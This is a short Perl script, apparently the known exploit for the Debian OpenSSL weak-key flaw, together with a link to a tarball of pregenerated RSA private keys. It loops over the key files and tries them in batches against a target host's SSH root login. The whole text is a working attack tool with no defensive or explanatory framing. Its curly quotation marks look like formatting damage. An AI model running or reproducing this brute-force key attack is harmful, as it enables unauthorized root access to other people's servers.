http://www.deadbeef.de/rsa.2048.tar.bzip2

#!/usr/bin/perl
my $keysPerConnect = 6;
unless ($ARGV[1]) {
print “Syntax : ./exploiter.pl pathToSSHPrivateKeys SSHhostToTry\n”;
print “Example: ./exploiter.pl /root/keys/ 127.0.0.1\n”;
print “By mm@deadbeef.de\n”;
exit 0;
}
chdir($ARGV[0]);
opendir(A, $ARGV[0]) || die(”opendir”);
while ($_ = readdir(A)) {
chomp;
next unless m,^\d+$,;
push(@a, $_);
if (scalar(@a) > $keysPerConnect) {
system(”echo “.join(” “, @a).”; ssh -l root “.join(” “, map { “-i
“.$_ } @a).” “.$ARGV[1]);
@a = ();
}
}